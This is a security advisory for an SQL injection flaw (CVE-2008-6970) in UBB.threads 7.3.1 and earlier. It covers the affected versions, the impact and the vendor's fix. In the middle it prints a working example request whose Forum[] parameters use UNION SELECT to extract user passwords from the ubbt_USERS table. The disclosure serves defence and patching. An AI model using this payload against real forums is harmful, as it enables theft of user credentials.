UBB.threads 'Forum[]' Array SQL Injection Vulnerability

Bugtraq ID:	31074
Class:	Input Validation Error
CVE:	CVE-2008-6970
Remote:	Yes
Local:	No
Published:	Sep 02 2008 12:00AM
Updated:	Apr 16 2015 05:54PM
Credit:	James Bercegay
Vulnerable:	Groupee UBB.threads 7.3.1
Not Vulnerable:

UBB.threads 'Forum[]' Array SQL Injection Vulnerability

UBB.threads is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects UBB.threads 7.3.1 (released before September 2, 2008) and prior versions.

UBB.threads 'Forum[]' Array SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example request is available:

ubb=dosearch
&fromsearch=1
&Words=test
&Forum[]=f-99')) UNION SELECT '1
&Forum[]=f' %2b MID('' %2b USER_PASSWORD %2b '
&Forum[]=f1
&Forum[]=f1') %2b '
&Forum[]=f1
&Forum[]=f1' FROM ubbt_USERS/*

UBB.threads 'Forum[]' Array SQL Injection Vulnerability

Solution:
The vendor has released fixes. Please see the references for more information.

UBB.threads 'Forum[]' Array SQL Injection Vulnerability

References:

• Security Patch released for all 7.x versions (Groupee)
  
• UBB.threads Homepage (Groupee)
  
• UBB.threads <= 7.3.1 SQL Injection (GulfTech Research And Development)